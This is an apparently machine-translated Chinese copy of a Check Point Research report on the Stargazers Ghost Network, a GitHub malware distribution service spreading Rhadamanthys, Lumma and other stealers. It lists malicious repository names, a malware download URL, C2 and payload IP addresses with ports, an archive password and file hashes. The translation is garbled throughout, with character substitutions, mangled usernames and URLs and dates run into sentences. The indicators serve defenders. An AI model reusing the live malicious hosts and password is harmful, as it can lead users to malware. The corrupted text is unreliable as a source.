-Latest-Crack-2024teenjay/The-unifier-is-both-Videoteenjay/Toon-Boom-Harmony-Crackteenjay/Top-Osu-Hacks-2024-Aim-Assist-Bots-and-Moreteenjay/TradingView-scriptsteenjay/Uniswap-botteenjay/Unity-Pro-Cracksteenjay/VLC-Media-Player-Crackteenjay/Vape-V4-Crack-Kangarooteenjay/Youtube-365-Auto-upload-cheat-checkerteenjay/ZBrush-Crackteenjay/xBLAST-auto-botteenjay/yescoin-bot-installationyCodezao/Microsoft-Office-2024-Cracked-VersionyCodezao/Microsoft-Project-CrackyCodezao/NZT-Poker-AI-Bot-17-Rooms-Cash-Fish-MonitoryCodezao/Notcoin-crypto-botyCodezao/Parallels-Desktop-CrackyCodezao/Path-Of-Exile-HackyCodezao/Pinnacle-Studio-CrackyCodezao/PlayDoge-Auto-Farm-and-Bot-SetupyCodezao/Pro-Tools-CrackyCodezao/ProtonVPN-Free-Crack-2024yCodezao/ReiBoot-Pro-Crack-Download-FreeyCodezao/Revit-CrackyCodezao/Rhinoceros-CrackyCodezao/RisePro-Stealer-HVNC-CrackyCodezao/SEED-SEARCHER-Crypto-Checker-30-WalletsyCodezao/Sandbox-CryptoBotyCodezao/ShibaShootout-CryptoBotyCodezao/Snapster-autobotyCodezao/SolidWorks-crackyCodezao/cs2-hvhyCodezao/pixel-wallet-bot-freeySunSh1ne/JetBrains-IntelliJ-IDEA-Crackyessine-agrebi/AOMEI-Partition-Assistant-Cracked-Software
我们不雅观察到指向恶意脚本的直接外部链接或重定向到另一个 GitHub 存储库版本的链接，但威胁行为者也利用了 和 等短链接。搜索前面提到的短链接域，我们得到了大约 400 个存储库。goo.subit.ly
图 24 – 带有“下载”和短链接的结果。
短的“下载”链接将受害者重定向到从 下载存档文件。另一个短链接 ， 也重定向了这个 URL， 使统共有 142 个仓库分发了下面的 GO 下载器。maestrascreciendoenamor.com/Loader-Installers.zipgoo.su/rH3n
802CBDBB7C195DAD3F763C38F21900A9006DB3292FFFC723B3CF75C10D239EA9 Loader-Installers\\CFG.iniB624949DF8B0E3A6153FDFB730A7C6F4990B6592EE0D922E1788433D276610F3 Loader-Installers\\DriverUP.dll060DE3B4CF3056F24DE882B4408020CEE0510CB1FF0E5007C621BC98E5B4BDF3 Loader-Installers\\Loader Installer.exe
下载器发出一个 GET 要求，该要求彷佛是为了注册机器人的 IP 地址并天生活动统计信息：。当我们访问该链接时，我们看到一个俄语页面，个中提到了启动的下载器数量（干净行动前的末了统计数据）。147.45.44.73:1445/bibika1337?reason=
俄语
英语
不
Запущено всего
推出的总数
1123
Запущено за две недели
两周内推出
1061
Запущено за неделю
一周内推出
621
Запущено за 2дня
2天内推出
131
Запущено за день
在一天内推出
44
在短短 2 周内，Rhadamanthys 在通过 Stargazers Ghost Network 分发时传染了 1050 多名受害者。
图 25 – 广告系列统计信息。
在其余两个 GET 要求之后，受害者下载了两个受密码保护的档案：
147.45.44.73:1488/moa/Tricky2.rar89.23.98.116:1444/Tricky.rar图 26 – 多个受密码保护的存档存储在这些目录中。
图 27 – 存储了两个档案，末了一个来自 2024-06-09。
两个档案都利用相同的密码 .yanabibika
图 28 – 受密码保护的存档解压缩。
938554DB472202C51069B3590820456EB37EC3680B555D1DE532623E01468D47 Tricky2\\withya_MrAnon.cmd64A49FF6862B2C924280D5E906BC36168112C85D9ACC2EB778B72EA1D4C17895 Tricky\\prezi-desktop-6-26-0.exe
档案中的可实行文件是 Rhadamanthys 的 GO 加载器，它被注入到其 C&C 中，然后与其通信。C:\\Windows\\BitLockerDiscoveryVolumeContents\\BitLockerToGo.exe147.78.103.199:2529
Atlantida 活动和 Rhadamanthys 的 GitHub 仓库大约是在同一韶光创建的。最早的 Rhadamanthys 仓库是在 上创建的。该网络运营商为这次活动雇用了大约 120 个 GitHub 帐户。2024-05-30T18:51:26Z
图 29 – 每个操作的帐户数。
另一个有趣的创造发生在我们进一步检讨提交和分叉账户时。在（不是错别字，确实是 2021 年）上，创建了存储库 （），并在 2021 年 2 月至 8 月期间被其他 25 个账户分叉。On ，更新了现在包含分发 Rhadamanthys 的网络钓鱼链接的原始文件。25 个分叉仓库中的两个运用了从原始仓库提交。选择“传染”该特定存储库的缘故原由是它是此帐户拥有的最受欢迎的存储库。2021-02-11T02:41:40ZV-arc/Silverfish53041402+V-arc@users.noreply.github.com/71246462@qq.com2024-06-02T09:06:59ZV-arcREADME.md
图 30 – 更新 2021-02-13T15：41：31Z 的上次提交。
V-arcGitHub 帐户是在 上创建的，但在 上进行了更新。我们不愿定究竟发生了哪种更新，但可能天生了新的 GPG 密钥。正如预期的那样，该帐户还具有一个存储库，其模式是在 上创建的。对恶意存储库的初始提交可能是利用时区的 Web 界面进行的。大约在同一韶光（以天为单位）的别的提交可能发生在 确当地环境中，而末了一个合法提交发生在 。虽然所有“初始”提交都发生在时区，但 2024 年的末了一次恶意提交发生在 。我们认为该存储库极不可能一开始是恶意的，而是在 3 年后才开始推送恶意软件。可能，该帐户已被盗用，然后被包含在 Stargazers Ghost Network 中。有了这些信息，我们将 ~1100 个帐户/存储库视为对受损帐户凭据/权限的测试。2019-07-18T09:42:29Z2024-05-31T11:14:43Z# V-arc1\n12024-06-08T19:03:31Z2021-02-11T02:41:40ZUTC+82021-02-11T02:44:59Z2021-02-11T06:25:26Z2021-02-13T15:41:31ZUTC+8UTC+3# {username}1\n1
根据活动统计，在分发 GO 下载器的恶意仓库活动中，有 687 次发生在 2024 年 5 月 31 日，表明了活动的开始日期。
图 31 – Rhadamanthys 活动，GitHub 帐户活动。
被别的帐户分叉的文件的作者：README.md
提交日期
提交作者
提交电子邮件
存储库所有者
没有恶意仓库
2024-05-29T20：55：01Z 格林威治标准韶光+0
巴图哈诺德布
104384818+batuhanodbs@users.noreply.github.com
巴图哈诺德布
1
2024-05-29T21：00：55Z 格林威治标准韶光+0
喷鼻香霍恩
75545632+HeangHorn@users.noreply.github.com
喷鼻香霍恩
1
2024-05-29T21：09：37Z 格林威治标准韶光+0
德布兰科拉斯卡雷斯
107002366+dblancolascarez@users.noreply.github.com
德布兰科拉斯卡雷斯
1
2024-05-29T21：15：46Z 格林威治标准韶光+0
Yessine-Agrebi
59874615+yessine-agrebi@users.noreply.github.com
Yessine-Agrebi
1
2024-05-30T11：59：15Z 格林威治标准韶光+0
SpacyXyt
80075528+SpacyXyt@users.noreply.github.com
SpacyXyt
2
2024-05-30T18：51：26Z 格林威治标准韶光+0
Essence-of-Slimez-37
120878149+Essence-Of-Slimez-37@users.noreply.github.com
Essence-of-Slimez-37
27
2024-05-30T19：40：27Z 格林威治标准韶光+0
专业2000
majormadobe@gmail.com
专业2000
2
2024-05-31T13：48：49Z 格林威治标准韶光+0
莫拉诺11
124221765+Molano11@users.noreply.github.com
莫拉诺11
2
2024-05-31T15：21：05Z 格林威治标准韶光+0
丹姆661
dnsrm9787@gmail.com
丹姆661
3
2024-05-31T21：50：08Z 格林威治标准韶光+0
玄色VN05
62129353+blackvn05@users.noreply.github.com
玄色VN05
1
2024-06-01T12：55：33Z 格林威治标准韶光+0
ySunSh1ne
113144625+ySunSh1ne@users.noreply.github.com
ySunSh1ne
1
2024-06-01T12：56：02Z 格林威治标准韶光+0
AmerHashima（阿梅尔羽岛酒店）
43539190+AmerHashima@users.noreply.github.com
AmerHashima（阿梅尔羽岛酒店）
1
2024-06-01T12：56：45Z 格林威治标准韶光+0
吉格普里马基
93926139+jgprimaki@users.noreply.github.com
吉格普里马基
1
2024-06-02T09：06：59Z 格林威治标准韶光+3
V型弧
53041402+V-arc@users.noreply.github.com
V型弧
1
Stargazer Goblin 和通过网络分发的恶意软件
比较这两个活动，只管两者都由相同的帐户“加星标”和“分叉”，但链接和作案手腕的差异使我们相信 Stargazers Ghost Network 的功能是恶意软件/链接分发即做事 （DaaS）。在这种模型中，威胁行为者可能以不同的价格分享他们的恶意链接或恶意软件，并通过这些恶意 GitHub 存储库分发它们，并由 Stargazer 帐户“合法化”。Check Point Research 正在追踪此做事背后的威胁行为者/团体，即 Stargazer Goblin。该组织供应、运营和掩护 Stargazers Ghost Network，该网络通过其 Ghost GitHub 帐户分发恶意链接或恶意软件。
通过网络分发的恶意软件家族包括：
亚特兰蒂达盗窃者拉达曼蒂斯Lumma Stealer红线RisePro的自 2024 年 6 月初以来，我们不雅观察到 211 个仍旧生动的独特仓库在推送恶意链接，而 5 月份有 135 个生动仓库。自 2024 年 5 月以来，GitHub 已关闭大约 1559 个仓库及其干系的 GitHub 帐户。
图 32 – 每个上次更新日期的活动存储库。
从我们一贯跟踪的账户来看，有 8 个不同的账户为仓库付与了 530 颗星。虽然由于旧的仓库已被删除，我们无法访问所有带星标的仓库，但它们都在同一天旁边更新：2024-05-31T19:00:32Z
@Pids134, @rego321, @Molano11, @nepalhack, @PeeKhaye, @Ozgur010101, @posyshp, @ProfessorAMi
虽然我们提到的帐户都无法为我们供应有关网络创建韶光的信息，但有一个帐户的名称表明了其作为网络一部分的目的。，具有 253 个带星标的仓库，创建于 。这是创建日期，但该网络可能正在开拓中，或者在此期间已经以较小的规模运行。@StarGhostSG2022-08-31T00:05:25Z
暗网论坛
在搜索暗网论坛时，我们创造了 2023 年 7 月 8 日的广告，宣扬所描述的网络。广告横幅用英文和俄文写成。根据该帖子，该帐户供应加星标、关注、分叉和监视 GitHub 帐户和存储库的做事，以及在 GitHub 上完成任何其他要求的操作。
图 33 – 第一个广告是在 2023-07-08。
价格根据所供应的做事而有所不同。例如，为具有 100 个帐户的存储库加星标的用度为 10 美元，每美元得到 10 颗星的费率。为受信赖的帐户供应“老化”存储库的用度为 2 美元。购买超过 500 美元可享受折扣。
图 34 – 做事详细信息和价格。
根据这些信息以及 2024 年 5 月中旬至 6 月中旬发生的存储库和操作的数量，Check Point Research 打算出 Stargazer Goblin 的潜在利润约为 8,000 美元。我们认为，在这段韶光内发生了更多的操作和存储库，使打算出的利润只是实际利润的一小部分。考虑到 Stargazers Ghost Network 自 2023 年 7 月起公开运营，并且可能自 2022 年 8 月以来规模较小，我们估计 Stargazers Ghost Network 全体生命周期的总利润约为 100,000 美元。GitHub 可能会对利润做出更准确的估计，由于他们对被禁止的帐户和仓库上发生的操作有更深入的理解。
过去、现在和未来的幽灵网络
Check Point Research 基于情报认为，GitHub Ghost 账户很可能只是全局的一部分，其他 Ghost 账户在不同的平台上运营，是更大的 Distribution as a Service 宇宙的一个组成部分。当我们创造一个 GitHub 仓库共享指向未列出的 YouTube 视频的链接时，这一理论得到了支持。该视频辅导潜在受害者如何下载和安装所谓的“免费”版本的 Adobe Photoshop。
图 35 – 带有下载和 YouTube 链接的 GitHub 帐户。
在 YouTube 视频中，可以看到威胁行为者从中下载受密码保护的档案，利用密码提取它，然后连续实行安装程序 （Lumma Stealer）。在仔细检讨视频的过程中，我们确定了文件夹的完全路径。clouds-folder[.]com2424distC:\\Users\\Peresvet\\DevelNextProjects\\test\\build\\dist
图 36 – 幽灵 YouTube 帐户和恶意不公开视频。
YouTube Ghost 帐户也对自己的视频揭橥评论。此外，我们不雅观察到被入侵的 GitHub 帐户的实际所有者，回答了 Ghost 的一条评论。这种交互验证了我们之前的假设，即 Stargazers Ghost Network 中的许多帐户都已遭到入侵。@ANGEOM21
图 37 – YouTube Ghost 帐户的视频评论部分。
我们相信 Stargazer Goblin 创建了一个由 Ghost 帐户组成的宇宙，这些帐户在 GitHub、Twitter、YouTube、Discord、Instagram、Facebook 等各种平台上运行。这进一步让我们相信，专门针对社交媒体导向用户的 Atlantida Stealer 活动可能是由 Stargazer Goblin 实行的，以获取 Ghost 网络的帐户。与 GitHub 类似，其他平台可用于使恶意网络钓鱼合法化，并通过帖子、存储库、视频、推文和频道向受害者分发链接和恶意软件，详细取决于每个平台供应的功能。
未来的 Ghost 帐户可能会利用人工智能 （AI） 模型来天生更有针对性和多样化的内容，从文本到图像和视频。通过考虑目标用户的回答，这些人工智能驱动的帐户不仅可以通过标准化模板推广网络钓鱼材料，还可以通过根据真实用户的需求和互动量身定制的定制回答来推广网络钓鱼材料。恶意软件分发的新时期已经到来，我们估量这些类型的操作将更频繁地发生，从而越来越难以区分合法内容和恶意材料。
结论
Stargazer Goblin 创建了一个极其繁芜的恶意软件分发操作，该操作可以避免检测，由于 GitHub 被认为是合法网站，绕过了对恶意活动的疑惑，并在 GitHub 毁坏其网络时最大限度地减少和规复任何危害。利用多个帐户和配置文件实行不同的活动，从加星到托管存储库、提交网络钓鱼模板和托管恶意发布，使 Stargazers Ghost Network 能够在 GitHub 实行任何干扰其操作时最大限度地减少丢失，由于常日只有全体操作的一部分被中断，而不是所有涉及的帐户。
Stargazers Ghost Network 实行的活动和通过此做事分发的恶意软件非常成功。在很短的韶光内，数以千计的受害者从看似合法的存储库中安装了软件，而没有疑惑任何恶意意图。严重面向受害者的网络钓鱼模板许可威胁行为者通过特定的个人资料和在线帐户传染受害者，使传染更有代价。
由于网络在不断发展，实行各种网络操作的帐户的实际数量尚不清楚。我们的最新打算表明，有超过 3,000 个 Ghost 账户。考虑到一个大约有 30 个仓库的活动，利用大约 380 个 Ghost 账户，总数可能更高。虽然 GitHub 在许多情形下确实禁止可疑帐户，但在采纳这些方法之前，这些操作会永劫光不间断地运行。
一些 Ghost 帐户彷佛是由操作员创建的，而其他帐户彷佛是“正常”GitHub 帐户遭到入侵。这使得 GitHub 凭据在地下市场中很有代价，由于该网络也包含此类帐户。将受传染的帐户添加到网络中使得估计 Stargazer Goblin 何时开始他们的恶意活动变得具有寻衅性。由于很难轻松地将明显的恶意活动与普通用户的恶意活动区分开来。然而，根据一些核心账户，我们认为 2022 年 8 月是网络开拓开始和/或规模较小的时候。Stargazers Ghost Network 的第一次公开广告发生在次年，即 2023 年 7 月 8 日。Stargazer Goblin 的总估计利润为 100,000 美元。
我们正在进入一个恶意软件分发的新时期，幽灵账户在各种平台上有机地推广和分发恶意链接。未来由人工智能驱动的幽灵账户可能会发起更有针对性的活动，使得区分合法内容和恶意内容变得越来越困难。
建议
GitHub 长期以来一贯被用于恶意活动，只管在攻击中引入此网络使得普通用户很难检测到可疑存储库。为了降落受此类威胁影响的风险，必须：
通过及时打补丁和其他办法保持操作系统和运用程序的更新。要小心带有链接的意外电子邮件/，尤其是来自未知发件人的邮件。提高员工的网络安全意识。如有任何疑问或不愿定成分，请咨询安全专家。保护Check Point Threat Emulation 和 Harmony Endpoint 全面涵盖攻击策略、文件类型和操作系统，并保护其客户免受本报告中描述的此类攻击和恶意软件系列的侵害。
